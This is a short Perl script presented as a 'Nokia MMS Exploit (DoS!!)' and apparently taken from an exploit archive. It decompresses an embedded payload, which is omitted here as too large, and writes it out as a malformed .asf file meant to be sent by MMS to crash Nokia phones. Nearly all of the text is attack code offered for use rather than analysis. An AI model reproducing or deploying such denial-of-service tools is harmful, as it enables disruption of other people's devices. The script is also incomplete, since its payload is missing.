#!/usr/bin/perl
-----------------------------------------------------------------
Nokia MMS Exploit (DoS!!)
-----------------------------------------------------------------
use Compress::Zlib;
$x =
<skipped due to size limitation>
open (F, '>./xXx___sendme.asf');
print F uncompress($x);
close(F);